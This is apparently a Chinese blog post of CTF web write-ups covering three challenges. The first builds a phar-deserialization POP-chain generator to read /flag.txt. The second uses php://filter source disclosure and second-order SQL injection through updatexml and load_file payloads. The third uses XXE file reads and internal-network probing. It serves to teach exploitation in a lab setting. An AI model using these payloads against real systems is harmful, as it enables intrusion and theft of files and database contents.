打开界面注册之后发现
可能做过类似的题,就想到了是不是有任意文件包含漏洞,或者删除之类的漏洞。
然后上传文件之后,在下载这里抓一个包
果不其然,有任意文件下载漏洞,然后我们看一下有没有flag,和源码
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
- ?>
-
- include "class.php";
-
- $a = new FileList($_SESSION['sandbox']);
- $a->Name();
- $a->Size();
- ?>
查看一下class.php的文件内容
- error_reporting(0);
- $dbaddr = "127.0.0.1";
- $dbuser = "root";
- $dbpass = "root";
- $dbname = "dropbox";
- $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); //上面是一些数据库链接的东西,可以省略
-
- class User {
- public $db;
- public function __construct() {
- global $db;
- $this->db = $db;
- }
-
- public function user_exist($username) {
- $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->store_result();
- $count = $stmt->num_rows;
- if ($count === 0) {
- return false;
- }
- return true;
- }
-
- public function add_user($username, $password) {
- if ($this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
- $stmt->bind_param("ss", $username, $password);
- $stmt->execute();
- return true;
- }
-
- public function verify_user($username, $password) {
- if (!$this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->bind_result($expect);
- $stmt->fetch();
- if (isset($expect) && $expect === $password) {
- return true;
- }
- return false;
- }
-
- public function __destruct() {
- $this->db->close();
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
-
- public function __construct($path) {
- $this->files = array();
- $this->results = array();
- $this->funcs = array();
- $filenames = scandir($path);
-
- $key = array_search(".", $filenames);
- unset($filenames[$key]);
- $key = array_search("..", $filenames);
- unset($filenames[$key]);
-
- foreach ($filenames as $filename) {
- $file = new File();
- $file->open($path . $filename);
- array_push($this->files, $file);
- $this->results[$file->name()] = array();
- }
- }
-
- public function __call($func, $args) {
- array_push($this->funcs, $func);
- foreach ($this->files as $file) {
- $this->results[$file->name()][$func] = $file->$func();
- }
- }
-
- public function __destruct() {
- $table = '
';- $table .= '
';- foreach ($this->funcs as $func) {
- $table .= '
' . htmlentities($func) . ' '; - }
- $table .= '
Opt '; - $table .= '
';- foreach ($this->results as $filename => $result) {
- }
- echo $table;
- }
- }
-
- class File {
- public $filename;
-
- public function open($filename) {
- $this->filename = $filename;
- if (file_exists($filename) && !is_dir($filename)) {
- return true;
- } else {
- return false;
- }
- }
-
- public function name() {
- return basename($this->filename);
- }
-
- public function size() {
- $size = filesize($this->filename);
- $units = array(' B', ' KB', ' MB', ' GB', ' TB');
- for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
- return round($size, 2).$units[$i];
- }
-
- public function detele() {
- unlink($this->filename);
- }
-
- public function close() {
- return file_get_contents($this->filename);
- }
- }
- ?>
然后就要开始代码审计,因为题目提醒了是phar反序列化,所以一定需要构造pop链,先找链尾,
public function close() {
return file_get_contents($this->filename);
}发现this->filename是可控的,而且没有任何的过滤,所以这就可以了然后继续寻找
User类中的
public function __destruct() {
$this->db->close();
}
Filelist类中的
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
和public function __destruct()
然后虽然逻辑上可以直接destruct->call,但是这样就只有写进文件中了,没有回显,所以需要
User::destruct-->Filelist::call->file::close()->Filelist::destruct
这样就可以了,然后这里
$this->db->close();
$this->results[$file->name()][$func] = $file->$func();
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
个人观点是,close()的值赋给了$func, 然后 this->funcs给了close()类,就可以调用成功了
如有错误,欢迎指正
call 和最后的destruct遍历数组会输出值
- error_reporting(0);
- class User {
- public $db;
- public function __construct() {
-
- $this->db = new FileList( );
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
- public function __construct($path) {
- $this->files = array(new File());
- $this->results = array();
- $this->funcs = array();
-
- }
- }
- class File {
- public $filename="/flag.txt";
-
- }
- $user = new User();
- $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
- $phar-> startBuffering();
- $phar->setStub("GIF89a"); //设置stub
- $phar->setMetadata($user); //将对象user写入到metadata中
- $phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
- $phar->stopBuffering();
-
构造完了以后,又有个新的问题,如何触发phar呢,以前都是filet_exits触发,然后
看看下载和删除代码,里面有没有
-
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
-
- if (!isset($_POST['filename'])) {
- die();
- }
-
- include "class.php";
-
- chdir($_SESSION['sandbox']);
- $file = new File();
- $filename = (string) $_POST['filename'];
- if (strlen($filename) < 40 && $file->open($filename)) {
- $file->detele();
- Header("Content-type: application/json");
- $response = array("success" => true, "error" => "");
- echo json_encode($response);
- } else {
- Header("Content-type: application/json");
- $response = array("success" => false, "error" => "File not exist");
- echo json_encode($response);
- }
- ?>
public function detele() {
unlink($this->filename);
} 在class.php中发现了,这个
然后delete 中 $file->delete不就会触发,这个然后删除,导致destruct,然后就通了
然后抓包删除界面,直接改为phar获得flag
这里flag为啥在/flag.txt,是一遍遍试出来的
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次注入
额,打开界面第一眼的印象不会是sql注入,还是sql二次注入叭
在源码中,发现这么几个页面,可是看不了源码,!!!
找了半天,额纯属眼瞎这么大的字没看见,很容易想到伪协议读取源码
index.php
- ini_set('open_basedir', '/var/www/html/');
- // $file = $_GET["file"];
- $file = (isset($_GET['file']) ? $_GET['file'] : null);
- if (isset($file)){
- if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
- echo('no way!');
- exit;
- }
- @include($file);
- }
- ?>
首先过滤,然后文件包含
search.php
- require_once "config.php";
- if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))//传入 name phone
- {
- $msg = '';
- $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';//防止查询,禁了一些寒素
- $user_name = $_POST["user_name"];
- $phone = $_POST["phone"];
- if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
- $msg = 'no sql inject!';
- }else{
- $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";// 进行查询操作
- $fetch = $db->query($sql);
- }
-
- if (isset($fetch) && $fetch->num_rows>0){//如果存在
- $row = $fetch->fetch_assoc();
- if(!$row) {
- echo 'error';
- print_r($db->error);
- exit;
- }
- $msg = "
姓名:"
.$row['user_name'].", 电话:"
.$row['phone'].", 地址:"
.$row['address'].""; - } else {
- $msg = "未找到订单!";
- }
- }else {
- $msg = "信息不全";
- }
- ?>
里面包含了config.php顺便来看一下
-
- ini_set("open_basedir", getcwd() . ":/etc:/tmp");
-
- $DATABASE = array(
-
- "host" => "127.0.0.1",
- "username" => "root",
- "password" => "root",
- "dbname" =>"ctfusers"
- );
-
- $db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
看见了路径/etc:/tmp,执行的应该是数据库链接的操作
delete.php
-
- require_once "config.php";
-
- if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
- {
- $msg = '';
- $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
- $user_name = $_POST["user_name"];
- $phone = $_POST["phone"];
- if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
- $msg = 'no sql inject!';
- }else{
- $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
- $fetch = $db->query($sql);
- }
-
- if (isset($fetch) && $fetch->num_rows>0){
- $row = $fetch->fetch_assoc();
- $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
- if(!$result) {
- echo 'error';
- print_r($db->error);
- exit;
- }
- $msg = "订单删除成功";
- } else {
- $msg = "未找到订单!";
- }
- }else {
- $msg = "信息不全";
- }
- ?>
其实我的目的是想找到一些,没过滤的那些字符,然后趁机进行sql注入得到flag
可是看了一圈,貌似能用的都禁了,蒙😵
忽略了个change.php
-
- require_once "config.php";
-
- if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
- {
- $msg = '';
- $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
- $user_name = $_POST["user_name"];
- $address = addslashes($_POST["address"]);
- $phone = $_POST["phone"];
- if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
- $msg = 'no sql inject!';
- }else{
- $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
- $fetch = $db->query($sql);
- }
-
- if (isset($fetch) && $fetch->num_rows>0){
- $row = $fetch->fetch_assoc();
- $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
- $result = $db->query($sql);
- if(!$result) {
- echo 'error';
- print_r($db->error);
- exit;
- }
- $msg = "订单修改成功";
- } else {
- $msg = "未找到订单!";
- }
- }else {
- $msg = "信息不全";
- }
- ?>
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
看看我发现了什么,它只对pattern phone进行了过滤,但是我们还有个address没有任何的过滤
,而对address
只是使用addslashes()
函数,可以使用报错注入。
$address = addslashes($_POST["address"]);
在每个双引号(")前添加反斜杠:
例如
ghai is the \"biggest\" city in China. 双引号的前面加了反斜杠
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
然后这是更新地址的代码,address用的'单引号闭合,我们完全可以
1' where user_id=updatexml(1,concat(0x7e,(select database()),0x7e),1)#
这样不就可以绕过单引号,然后过滤后面的user_id,
1' where user_id=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="user"),0x7e),1)#
八成再password里面了
1' where user_id=updatexml(1,concat(0x7e,(select group_concat(Password) from user),0x7e),1)#
然后提示没有Password这个字段,蒙,翻师傅们的wp
可能有人会问为啥直接load_file读取flag.txt,为什么不采用常规的sql注入操作一步步爆出来,其实我做也是有这个疑问,随后去问了别的师傅,得到的答复是:CISCN官方出题说明了flag在根目录下,hhh~
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
因为flag一次显示不出来,所以需要substr分段显示
这两道题挺考察代码审计功能的。
[NCTF2019]True XML cookbo xml外部注入
打开界面注入抓包查看,xml注入漏洞
xml的基本语法:
Everyday Italian
Giada De Laurentiis
2005
30.00
称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
内部DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
外部DTO
(1)使用外部dtd文件
SYSTEM "dtd路径">
(2)使用外部的dtd文件(网络上的dtd文件)
PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时,通过如下语法引入:
root-element SYSTEM "filename">
发现时xxe漏洞,试试用file协议直接读取一下flag:
报错,八成是不存在吧
]>
&abc; 123456
然后读取一下源码,因为当前界面就是doLogin.php
file协议没通,那就试一下,php伪协议读取一下
出现base64编码,
- /**
- * autor: c0ny1
- * date: 2018-2-7
- */
-
- $USERNAME = 'admin'; //账号
- $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
- $result = null;
-
- libxml_disable_entity_loader(false);
- $xmlfile = file_get_contents('php://input');
-
- try{
- $dom = new DOMDocument();
- $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
- $creds = simplexml_import_dom($dom);
-
- $username = $creds->username;
- $password = $creds->password;
-
- if($username == $USERNAME && $password == $PASSWORD){
- $result = sprintf("
%d
%s ",1,$username); - }else{
- $result = sprintf("
%d
%s ",0,$username); - }
- }catch(Exception $e){
- $result = sprintf("
%d
%s ",3,$e->getMessage()); - }
-
- header('Content-Type: text/html; charset=utf-8');
- echo $result;
- ?>
发现没什么用,果断放弃这条路
还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp
存活了两个ip都访问一下
看/proc/net/fib_trie可以查看到每个ip 里面端口的消息
然后直接爆破最后一位获得flag
-
相关阅读:
【C++】顺序表,栈相关练习(每日小细节006)
多线程2—java
近200篇文章汇总而成的机器翻译非自回归生成最新综述,揭示其挑战和未来研究方向...
NFS网盘挂载-Ubuntu(linux)
54 循环神经网络 RNN【动手学深度学习v2】
一文读懂LockSupport
Linux服务器上Neo4j的安装、迁移
软考高级系统架构设计师系列之:计算机与网络基础知识汇总
【HTML】原生js实现的图书馆管理系统
SAP ABAP教程之 02 创建您的第一份 ABAP 报告 (教程含源码)
-
原文地址:https://blog.csdn.net/qq_62046696/article/details/127412185